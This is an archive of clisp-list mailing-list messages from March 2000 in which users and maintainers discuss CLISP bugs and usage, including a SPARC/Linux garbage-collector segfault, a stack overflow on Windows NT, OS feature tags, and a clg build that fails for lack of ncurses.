Date: Mon, 20 Mar 2000 14:14:26 +0100 (MET) Message-Id: <200003201314.OAA07812@jaures.ilog.fr> To: Ben Collins Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] SPARC/Linux problems In-Reply-To: <20000319130558.N241@visi.net> References: <20000319130558.N241@visi.net> Ben Collins writes: > (gdb) file ./lisp.run > Reading symbols from ./lisp.run...done. > (gdb) run > Starting program: /home/bcollins/clisp-1999-07-22/src/./lisp.run > > Program received signal SIGSEGV, Segmentation fault. > 0x13764 in gc_mark_stack (objptr=0x2e2ffffc) at spvw_garcol.d:384 > 384 { until (eq(*objptr,nullobj)) # bis STACK zu Ende ist: > (gdb) bt > #0 0x13764 in gc_mark_stack (objptr=0x2e2ffffc) at spvw_garcol.d:384 > #1 0x137c8 in gc_markphase () at spvw_garcol.d:411 > #2 0x13e1c in gar_col_normal () at spvw_garcol.d:1594 > #3 0x14b44 in do_gar_col_simple () at spvw_garcol.d:2369 > #4 0x8cb5c in with_gc_statistics (fun=0x14b38 ) at predtype.d:2571 > #5 0x14b70 in gar_col_simple () at spvw_garcol.d:2397 > #6 0x14ce0 in make_space_gc_TRUE (need=40, heapptr=0x13a25c) at spvw_allocate.d:225 > #7 0x150d4 in allocate_vector (len=7) at spvw_typealloc.d:94 > #8 0x18744 in init_subr_tab_2 () at spvw.d:1161 > #9 0x19ec8 in initmem () at spvw.d:1549 > #10 0x1b174 in main (argc=1, argv=0xeffffaa4) at spvw.d:2661 The GC crashed already during the very first memory allocation. I guess the address space layout is different on your Sparc than on mine. What is the output of "grep cl_cv_address_ config.cache" on yours? Bruno From haible@ilog.fr Mon Mar 20 06:39:35 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id GAB17923 for ; Mon, 20 Mar 2000 06:39:34 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA10595; Mon, 20 Mar 2000 15:30:39 +0100 (MET) Received: from jaures.ilog.fr ([172.17.4.27]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id PAA18247; Mon, 20 Mar 2000 15:33:23 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by jaures.ilog.fr (8.9.2/8.9.2) id PAA08674; Mon, 20 Mar 2000 15:33:21 +0100 (MET) Date: Mon, 20 Mar 2000 15:33:21 +0100 (MET) Message-Id: <200003201433.PAA08674@jaures.ilog.fr> To: Ben Collins Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] SPARC/Linux problems In-Reply-To: <20000319130558.N241@visi.net> References: <20000319130558.N241@visi.net> On my machine I get $ grep cl_cv_address_ config.cache cl_cv_address_code=${cl_cv_address_code='0x00000000'} cl_cv_address_malloc=${cl_cv_address_malloc='0x00000000'} cl_cv_address_shlib=${cl_cv_address_shlib='0xE0000000'} cl_cv_address_stack=${cl_cv_address_stack='0xEF000000'} And on yours? From bmc@visi.net Mon Mar 20 07:02:44 2000 Received: from krikey (fw-1.winstar.com [207.86.108.130]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA18869 for ; Mon, 20 Mar 2000 07:02:35 -0800 Received: from bmc by krikey with local (Exim 3.12 #1 (Debian)) id 12X3a5-0000do-00; Mon, 20 Mar 2000 09:54:57 -0500 Date: Mon, 20 Mar 2000 09:54:57 -0500 From: Ben Collins To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] SPARC/Linux problems Message-ID: <20000320095457.B901@visi.net> References: <20000319130558.N241@visi.net> <200003201314.OAA07812@jaures.ilog.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0.1i In-Reply-To: <200003201314.OAA07812@jaures.ilog.fr>; from haible@ilog.fr on Mon, Mar 20, 2000 at 02:14:26PM +0100 Sender: Ben Collins > > The GC crashed already during the very first memory allocation. I guess the > address space layout is different on your Sparc than on mine. What is the > output of "grep cl_cv_address_ config.cache" on yours? > cl_cv_address_code=${cl_cv_address_code=0x00000000} cl_cv_address_malloc=${cl_cv_address_malloc=0x00000000} cl_cv_address_shlib=${cl_cv_address_shlib=0x70000000} cl_cv_address_stack=${cl_cv_address_stack=0xEF000000} Note, I've tried this on two machines. Setup as follows: UltraSPARC, 128 megs SPARCStation LX, 72 megs Both had the problem. Note, I compiled it on the ultrasparc every time, but I made sure that it was in a sparc32 environement (wrapper to change the persoanlity to sparc32, to fool autoconf, etc..). I can try compiling on the sun4m a little later. -- -----------=======-=-======-=========-----------=====------------=-=------ / Ben Collins -- ...on that fantastic voyage... -- Debian GNU/Linux \ ` bcollins@debian.org -- bcollins@openldap.org -- bmc@visi.net ' `---=========------=======-------------=-=-----=-===-======-------=--=---' From bmc@visi.net Mon Mar 20 08:05:37 2000 Received: from krikey (fw-1.winstar.com [207.86.108.130]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id IAA20969 for ; Mon, 20 Mar 2000 08:05:17 -0800 Received: from bmc by krikey with local (Exim 3.12 #1 (Debian)) id 12X4Yj-0000jN-00; Mon, 20 Mar 2000 10:57:37 -0500 Date: Mon, 20 Mar 2000 10:57:37 -0500 From: Ben Collins To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] SPARC/Linux problems Message-ID: <20000320105737.A2754@visi.net> References: <20000319130558.N241@visi.net> <200003201433.PAA08674@jaures.ilog.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0.1i In-Reply-To: <200003201433.PAA08674@jaures.ilog.fr>; from haible@ilog.fr on Mon, Mar 20, 2000 at 03:33:21PM +0100 Sender: Ben Collins On Mon, Mar 20, 2000 at 03:33:21PM +0100, Bruno Haible wrote: > On my machine I get > > $ grep cl_cv_address_ config.cache > cl_cv_address_code=${cl_cv_address_code='0x00000000'} > cl_cv_address_malloc=${cl_cv_address_malloc='0x00000000'} > cl_cv_address_shlib=${cl_cv_address_shlib='0xE0000000'} > cl_cv_address_stack=${cl_cv_address_stack='0xEF000000'} > I tried hand editing to have this same setup (only the shlib one was different). Yet it still didn't work. Seems the problem is in the stack address anyway, which showed as the same on both yours and mine. Extra info, these systems are 2.2.14, 2.2.15 (and even tried 2.3.99-pre2) and use glibc 2.1.3 (problem has been present since glibc 2.1.1, for me atleast, so I doubt that has anything to do with it). -- -----------=======-=-======-=========-----------=====------------=-=------ / Ben Collins -- ...on that fantastic voyage... -- Debian GNU/Linux \ ` bcollins@debian.org -- bcollins@openldap.org -- bmc@visi.net ' `---=========------=======-------------=-=-----=-===-======-------=--=---' From andrew@andrewcooke.free-online.co.uk Tue Mar 21 04:31:14 2000 Received: from turing.intertrader.com (IDENT:exim@[195.89.144.173]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id EAA00461 for ; Tue, 21 Mar 2000 04:31:12 -0800 Received: from p58-harc1-kirklees1.tch.dtn.ntl.com ([194.168.244.58] helo=tanglefoot) by turing.intertrader.com with smtp (Exim 3.02 #1) id 12XNZ0-0004dc-00 for clisp-list@lists.sourceforge.net; Tue, 21 Mar 2000 12:15:11 +0000 X-Sender: andrewcooke@mail.free-online.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Tue, 21 Mar 2000 12:26:45 +0000 To: clisp-list@lists.sourceforge.net From: Andrew Cooke Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Message-Id: Subject: [clisp-list] Program stack overflow on W32 Hi, I have been running a program in an old CLISP on SuSE Linux with no problems except a lot of paging (CLISP 1997-05-03) - I'm using the -W argument to get extended addressing (the program is a search that requires 20,000 saved states for backtracking). To get completion more quickly (and to save the disk on my laptop, which was getting rather warm), I downloaded a new CLISP binary (1999-07-22) for a machine I have that runs NT. However, this gives an error ("Program Stack Overflow") soon (within about half an hour - the program should run for maybe 4 or 5 hours) after starting (when total memory used has increased to just over 100Mb - the machine is configured to have up to 1Gb virtual memory). I don't know if this is relevant, but it seems that the -W switch no longer exists (it is not documented and the error occurs with or without it). How can I get the program to run on the NT machine (which is faster and has more memory than my old laptop)? Is this a problem with different versions of CLISP or different OS? The search uses code based on Norvig's examples (in the Lisp book) - the main search routine is tail recursive and this problem occurs shortly after 2000 recursions (memory use becomes flat instead of a slight ramp with ripples, and cpu use drops from 100% to a noisy ~20% a few minutes before failure - it looks as though a memory limit is being hit). Is tail recursion not being optimized out (the same code works on the old CLISP/Linux up to at least 20,000 iterations)? Thanks, Andrew PS I searched c.l.l and had a look at recent posts on this archive (also searched for program stack) and couldn't find an answer. http://www.andrewcooke.free-online.co.uk/index.html From marcoxa@parades.rm.cnr.it Tue Mar 21 07:25:10 2000 Received: from copernico.parades.rm.cnr.it (copernico.parades.rm.cnr.it [150.146.37.21]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA06246 for ; Tue, 21 Mar 2000 07:25:07 -0800 Received: (from marcoxa@localhost) by copernico.parades.rm.cnr.it (8.9.3/8.9.0) id QAA22807; Tue, 21 Mar 2000 16:17:55 +0100 (MET) Date: Tue, 21 Mar 2000 16:17:55 +0100 (MET) Message-Id: <200003211517.QAA22807@copernico.parades.rm.cnr.it> X-Authentication-Warning: copernico.parades.rm.cnr.it: marcoxa set sender to marcoxa@parades.rm.cnr.it using -f From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Reply-to: marcoxa@parades.rm.cnr.it Subject: [clisp-list] Features list on Windows and other OSs (other than Solaris) Message says it all. I have *FEATURES* on Solaris (it has at least the :UNIX feature I need). What are the OS tags (i.e. features) for CLisp on other OS'es? Moreover: are the tags different for Windows98 and WNT? Thanks -- Marco Antoniotti =========================================== PARADES, Via San Pantaleo 66, I-00186 Rome, ITALY tel. +39 - 06 68 10 03 17, fax. +39 - 06 68 80 79 26 http://www.parades.rm.cnr.it/~marcoxa From haible@ilog.fr Tue Mar 21 07:54:17 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA07374 for ; Tue, 21 Mar 2000 07:54:16 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id QAA18584; Tue, 21 Mar 2000 16:44:54 +0100 (MET) Received: from jaures.ilog.fr ([172.17.4.27]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id QAA04417; Tue, 21 Mar 2000 16:47:38 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by jaures.ilog.fr (8.9.2/8.9.2) id QAA21954; Tue, 21 Mar 2000 16:47:37 +0100 (MET) Date: Tue, 21 Mar 2000 16:47:37 +0100 (MET) Message-Id: <200003211547.QAA21954@jaures.ilog.fr> To: marcoxa@parades.rm.cnr.it Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Features list on Windows and other OSs (other than Solaris) In-Reply-To: <200003211517.QAA22807@copernico.parades.rm.cnr.it> References: <200003211517.QAA22807@copernico.parades.rm.cnr.it> Marco Antoniotti writes: > I have *FEATURES* on Solaris (it has at least the :UNIX feature I > need). > > What are the OS tags (i.e. features) for CLisp on other OS'es? See http://clisp.sourceforge.net/impnotes.html#features > Moreover: are the tags different for Windows98 and WNT? No. But you can copy Sam's trick from clocc/src/port/sys.lsp, function sysinfo. Bruno From sds@gnu.org Tue Mar 21 08:04:35 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id IAA07862 for ; Tue, 21 Mar 2000 08:04:35 -0800 Received: from SAM.ksp.com (sam [10.100.100.57]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id HM1AHHRA; Tue, 21 Mar 2000 10:58:48 -0500 To: marcoxa@parades.rm.cnr.it Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Features list on Windows and other OSs (other than Solaris) References: <200003211517.QAA22807@copernico.parades.rm.cnr.it> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Marco Antoniotti's message of "Tue Mar 21 10:18:53 EST 2000" Date: 21 Mar 2000 10:58:46 -0500 Message-ID: Lines: 19 X-Mailer: Gnus v5.7/Emacs 20.4 >>>> In message <200003211517.QAA22807@copernico.parades.rm.cnr.it> >>>> On the subject of "[clisp-list] Features list on Windows and other OSs (other than Solaris)" >>>> Sent on Tue Mar 21 10:18:53 EST 2000 >>>> Honorable Marco Antoniotti writes: >> >> What are the OS tags (i.e. features) for CLisp on other OS'es? see clocc/src/port/sys.lsp (defun sysinfo) and clisp/src/spvw.d >> Moreover: are the tags different for Windows98 and WNT? no, it's :win32 for both of them. -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Don't use force -- get a bigger hammer. From haible@ilog.fr Tue Mar 21 09:08:05 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA10369 for ; Tue, 21 Mar 2000 09:08:04 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id RAA21401; Tue, 21 Mar 2000 17:58:45 +0100 (MET) Received: from jaures.ilog.fr ([172.17.4.27]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id SAA12996; Tue, 21 Mar 2000 18:01:31 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by jaures.ilog.fr (8.9.2/8.9.2) id SAA22418; Tue, 21 Mar 2000 18:01:30 +0100 (MET) Date: Tue, 21 Mar 2000 18:01:30 +0100 (MET) Message-Id: <200003211701.SAA22418@jaures.ilog.fr> To: Els Ducheyne Cc: clisp-list@lists.sourceforge.net In-Reply-To: <01BF931B.08C82E00.els.ducheyne@rug.ac.be> References: <01BF931B.08C82E00.els.ducheyne@rug.ac.be> Subject: [clisp-list] Re: Help Els Ducheyne writes: > Hello > I have downloaded Clips for win32 but know I don't have any idea what to > do. In your readme file you tell that I need to change > "strings" in the config.lsp but I don't know what strings you refer to. I > have tried to compile the file as it is but then i received a message that > the function compile-file was empty. > > Could you please help me as soon as possible > > Thanks in advance > > Yours sincerly > Els Ducheyne Hello, You don't really need to change these strings, it's optional. Simply starting "lisp.exe -M lispinit.mem" will run clisp. Don't forget this "-M lispinit.mem" option; without it, defun and compile-file are not defined. Bruno From bmc@visi.net Tue Mar 21 21:10:18 2000 Received: from blimpo.visi.net (ppp23.ts3.Gloucester.visi.net [206.246.230.151]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id VAA18139 for ; Tue, 21 Mar 2000 21:10:17 -0800 Received: from bmc by blimpo.visi.net with local (Exim 3.12 #1 (Debian)) id 12XdJJ-0001Vg-00; Wed, 22 Mar 2000 00:04:01 -0500 Date: Wed, 22 Mar 2000 00:04:01 -0500 From: Ben Collins To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] SPARC/Linux problems Message-ID: <20000322000401.G5530@visi.net> References: <20000319130558.N241@visi.net> <200003201314.OAA07812@jaures.ilog.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0.1i In-Reply-To: <200003201314.OAA07812@jaures.ilog.fr>; from haible@ilog.fr on Mon, Mar 20, 2000 at 02:14:26PM +0100 Sender: Ben Collins Ok, I recompiled this on a sun4m (Sparc LX) and still have the same problem with segfault I reported a couple of days ago. Anyone else have any suggestions/soltuions? -- -----------=======-=-======-=========-----------=====------------=-=------ / Ben Collins -- ...on that fantastic voyage... -- Debian GNU/Linux \ ` bcollins@debian.org -- bcollins@openldap.org -- bmc@visi.net ' `---=========------=======-------------=-=-----=-===-======-------=--=---' From marcoxa@parades.rm.cnr.it Wed Mar 22 01:01:25 2000 Received: from copernico.parades.rm.cnr.it (copernico.parades.rm.cnr.it [150.146.37.21]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id BAA24898 for ; Wed, 22 Mar 2000 01:01:16 -0800 Received: (from marcoxa@localhost) by copernico.parades.rm.cnr.it (8.9.3/8.9.0) id JAA23515; Wed, 22 Mar 2000 09:54:01 +0100 (MET) Date: Wed, 22 Mar 2000 09:54:01 +0100 (MET) Message-Id: <200003220854.JAA23515@copernico.parades.rm.cnr.it> X-Authentication-Warning: copernico.parades.rm.cnr.it: marcoxa set sender to marcoxa@parades.rm.cnr.it using -f From: Marco Antoniotti To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 21 Mar 2000 10:58:46 -0500) Subject: Re: [clisp-list] Features list on Windows and other OSs (other than Solaris) Reply-to: marcoxa@parades.rm.cnr.it References: <200003211517.QAA22807@copernico.parades.rm.cnr.it> Thanks Cheers -- Marco Antoniotti =========================================== PARADES, Via San Pantaleo 66, I-00186 Rome, ITALY tel. +39 - 06 68 10 03 17, fax. +39 - 06 68 80 79 26 http://www.parades.rm.cnr.it/~marcoxa From root@we-24-130-53-144.we.mediaone.net Wed Mar 22 11:20:43 2000 Received: from we-24-130-53-144.we.mediaone.net (we-24-130-53-144.we.mediaone.net [24.130.53.144]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA18186 for ; Wed, 22 Mar 2000 11:20:43 -0800 Received: (from root@localhost) by we-24-130-53-144.we.mediaone.net (8.9.3/8.9.3) id LAA02496; Wed, 22 Mar 2000 11:15:23 -0500 Date: Wed, 22 Mar 2000 11:15:23 -0500 Message-Id: <200003221615.LAA02496@we-24-130-53-144.we.mediaone.net> From: donc@compsvcs.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] clisp problem with ignore-errors compiled? This is the top level function from the webserver I posted: (defun start-server (&key (port 8000)) ;; start the web server running on the given port. ;; Note that on unix, ports below 1024 can only be obtained by ;; programs running as root. ;; The default port number for web browsers is 80, to use any other ;; port number in a url you have to put that port number after the ;; machine name as in http://www.foo.com:8000/the/url/I/want ;; (let ((websocket ;; *** generalize from ACL #+clisp (lisp:socket-server port) #+allegro (socket:make-socket :connect :passive :local-port port))) (unwind-protect (loop ;; It turns out that all the stream operations can and in ;; practice do generate errors. ;; The practical solution is to put an ignore-errors ;; at a pretty high level. (multiple-value-bind (ignore err) ;; *** (ignore-errors (let ((connection ;; *** generalize from ACL #+clisp (lisp:socket-accept websocket) #+allegro (socket:accept-connection websocket))) (unwind-protect (do-command connection #'(lambda () (return-from start-server))) (close connection)))) (declare (ignore ignore)) (when err (log- "~%error : ~A" err)))) ;; *** generalize from ACL #+clisp (lisp:socket-server-close websocket) #+allegro (close websocket)))) Note the do-command inside the ignore-errors. When I run this compiled I get breaks, and when I type "where" I see that I'm in do-command. If I interpret this code things work. Do you have any immediate suspects or do you want further data? If so, what should I send you? From haible@ilog.fr Wed Mar 22 11:31:30 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA18766 for ; Wed, 22 Mar 2000 11:31:29 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA03521; Wed, 22 Mar 2000 20:22:16 +0100 (MET) Received: from jaures.ilog.fr ([172.17.4.27]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA05704; Wed, 22 Mar 2000 20:25:03 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by jaures.ilog.fr (8.9.2/8.9.2) id UAA08135; Wed, 22 Mar 2000 20:25:01 +0100 (MET) Date: Wed, 22 Mar 2000 20:25:01 +0100 (MET) Message-Id: <200003221925.UAA08135@jaures.ilog.fr> To: donc@compsvcs.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp problem with ignore-errors compiled? In-Reply-To: <200003221615.LAA02496@we-24-130-53-144.we.mediaone.net> References: <200003221615.LAA02496@we-24-130-53-144.we.mediaone.net> Don Cohen writes: > This is the top level function from the webserver I posted: [...] > Note the do-command inside the ignore-errors. When I run this > compiled I get breaks, and when I type "where" I see that I'm > in do-command. If I interpret this code things work. Looks fishy. Can you send a complete backtrace [i.e. (setq *print-circle* t) then backtrace-1]? Also, what's the value of sys::*use-clcs* inside the break loop? Bruno From root@we-24-130-53-144.we.mediaone.net Wed Mar 22 11:51:55 2000 Received: from we-24-130-53-144.we.mediaone.net (we-24-130-53-144.we.mediaone.net [24.130.53.144]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA19675 for ; Wed, 22 Mar 2000 11:51:54 -0800 Received: (from root@localhost) by we-24-130-53-144.we.mediaone.net (8.9.3/8.9.3) id LAA02500; Wed, 22 Mar 2000 11:46:35 -0500 Date: Wed, 22 Mar 2000 11:46:35 -0500 Message-Id: <200003221646.LAA02500@we-24-130-53-144.we.mediaone.net> From: donc@compsvcs.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] clisp problem with ignore-errors compiled -- nope, my fault Sorry, I think I know what I did ... From sds@gnu.org Wed Mar 22 13:52:45 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id NAA28113 for ; Wed, 22 Mar 2000 13:52:41 -0800 Received: from SAM.ksp.com (sam [10.100.100.57]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id H3AN5RJ6; Wed, 22 Mar 2000 16:46:48 -0500 To: Don Cohen Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp problem with ignore-errors compiled? References: <200003221615.LAA02496@we-24-130-53-144.we.mediaone.net> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Don Cohen's message of "Wed Mar 22 14:14:28 EST 2000" Date: 22 Mar 2000 16:46:45 -0500 Message-ID: Lines: 21 X-Mailer: Gnus v5.7/Emacs 20.6 >>>> In message <200003221615.LAA02496@we-24-130-53-144.we.mediaone.net> >>>> On the subject of "[clisp-list] clisp problem with ignore-errors compiled?" >>>> Sent on Wed Mar 22 14:14:28 EST 2000 >>>> Honorable Don Cohen writes: ... >> #+clisp (lisp:socket-server port) >> #+allegro (socket:make-socket :connect :passive :local-port port))) ... >> #+clisp (lisp:socket-accept websocket) >> #+allegro (socket:accept-connection websocket))) ... >> #+clisp (lisp:socket-server-close websocket) >> #+allegro (close websocket)))) you might want to use clocc/src/port/net.lsp -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. (let ((a "(let ((a %c%s%c)) (format a 34 a 34))")) (format a 34 a 34)) From kaasen@nvg.ntnu.no Thu Mar 23 04:51:48 2000 Received: from sabre-wulf.nvg.ntnu.no (IDENT:root@sabre-wulf.nvg.ntnu.no [129.241.210.67]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id EAA27376 for ; Thu, 23 Mar 2000 04:51:47 -0800 Received: from hagbart.nvg.ntnu.no ([IPv6:::ffff:129.241.210.68]:34062 "EHLO hagbart.nvg.ntnu.no" ident: "TIMEDOUT2" whoson: "wild") by sabre-wulf.nvg.ntnu.no with ESMTP id ; Thu, 23 Mar 2000 13:46:01 +0100 Date: Thu, 23 Mar 2000 13:45:50 +0100 (CET) From: David Kaasen To: clisp-list@lists.sourceforge.net In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Some problems Hello! I am writing a text editor in lisp. I try to do it as platform and implementation independent as possible. But I need some functionality that I can't find in any description of the lisp standard. Can you help me? 1. I need to receive unbuffered keystrokes from the user, i.e. without having to pressing Enter. I know CLISP has *keyboard-input*, but how can this be done more implementation independently? 2. Is there some way to get the number of text rows and columns currently displayed on the screen? I don't want to rely on packages such as Curses, if it exists for LISP. 3. Is it any method for catching 'out of memory' errors, so that the program can flush the line buffer to disk, and continue to function? Many thanks in advance, David Kaasen. From sds@gnu.org Thu Mar 23 08:13:15 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id IAA02039 for ; Thu, 23 Mar 2000 08:13:14 -0800 Received: from SAM.ksp.com (sam [10.100.100.57]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id H3AN5RWP; Thu, 23 Mar 2000 11:07:16 -0500 To: David Kaasen Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Some problems References: Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: David Kaasen's message of "Thu Mar 23 07:44:46 EST 2000" Date: 23 Mar 2000 11:07:06 -0500 Message-ID: Lines: 20 X-Mailer: Gnus v5.7/Emacs 20.6 >>>> In message >>>> On the subject of "[clisp-list] Some problems" >>>> Sent on Thu Mar 23 07:44:46 EST 2000 >>>> Honorable David Kaasen writes: >> >> I am writing a text editor in lisp. I try to do it as >> platform and implementation independent as possible. >> But I need some functionality that I can't find in any >> description of the lisp standard. Can you help me? you would be much better off not using the terminal. you might want to look at CL-based web browser closure, available at . -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Never let your schooling interfere with your education. From haible@ilog.fr Thu Mar 23 09:03:10 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA04411 for ; Thu, 23 Mar 2000 09:03:09 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id RAA06635; Thu, 23 Mar 2000 17:54:16 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.30]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id RAA04743; Thu, 23 Mar 2000 17:57:01 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id RAA25086; Thu, 23 Mar 2000 17:56:58 +0100 (MET) Date: Thu, 23 Mar 2000 17:56:58 +0100 (MET) Message-Id: <200003231656.RAA25086@oberkampf.ilog.fr> To: David Kaasen Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Some problems In-Reply-To: References: David Kaasen writes: > 1. I need to receive unbuffered keystrokes from the user, > i.e. without having to pressing Enter. I know CLISP has > *keyboard-input*, but how can this be done more > implementation independently? There is no portable common model for keyboard handling; it's too different in Unix and DOS/Windows. Portable GUI toolkits use keyboard events, not simple streams, but then you are programming GUI. > 2. Is there some way to get the number of text rows and > columns currently displayed on the screen? In clisp, the number of columns on the screen is (1+ sys::*prin-linelength*). > I don't want to rely on packages such as Curses, if it exists for LISP. But ncurses is portable across Unixes. > 3. Is it any method for catching 'out of memory' errors, > so that the program can flush the line buffer to disk, > and continue to function? No. Bruno From thom.goodsell@usa.net Fri Mar 24 03:32:29 2000 Received: from aw162.netaddress.usa.net (aw162.netaddress.usa.net [204.68.24.62]) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id DAA12113 for ; Fri, 24 Mar 2000 03:32:28 -0800 Received: (qmail 15009 invoked by uid 60001); 24 Mar 2000 11:26:59 -0000 Message-ID: <20000324112659.15008.qmail@aw162.netaddress.usa.net> Received: from 204.68.24.62 by aw162 for [63.248.57.36] via web-mailer(M3.4.4.4) on Fri Mar 24 11:26:59 GMT 2000 Date: 24 Mar 00 06:26:59 EST From: Thomas Goodsell To: clisp-list@lists.sourceforge.net X-Mailer: USANET web-mailer (M3.4.4.4) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id DAA12113 Subject: [clisp-list] compiling clg Ok. I grabbed clg-0.50 and tried to compile. On my box at work it complied perfectly on the first try and runs great. At home, though, (where I need it, of course) it won't compile. Here's the problem: . . . ;; Loading of file ../tools/build.lisp is finished. T rm -rf clisp-gtk /usr/lib/clisp//clisp-link add-module-set . /usr/lib/clisp//base clisp-gtk make[2]: Entering directory `/home/thomg/lisp/packages/clg-0.50/clisp' make[2]: Nothing to be done for `clisp-module'. make[2]: Leaving directory `/home/thomg/lisp/packages/clg-0.50/clisp' gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -DDYNAMIC_MODULES -fPIC -I/usr/lib/clisp/linkkit -c modules.c gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -DDYNAMIC_MODULES -fPIC -x none -Wl,-export-dynamic modules.o gforeign.o glib.o gdk.o gtktypes.o gtk.o ../cl-gtk.o -L/usr/lib -L/usr/X11R6/lib -lgtk -lgdk -rdynamic -lgmodule -lglib -ldl -lXext -lX11 -lm lisp.a libsigsegv.a libintl.a libreadline.a libavcall.a libcallback.a -lncurses -ldl -o lisp.run /usr/bin/ld: cannot find -lncurses collect2: ld returned 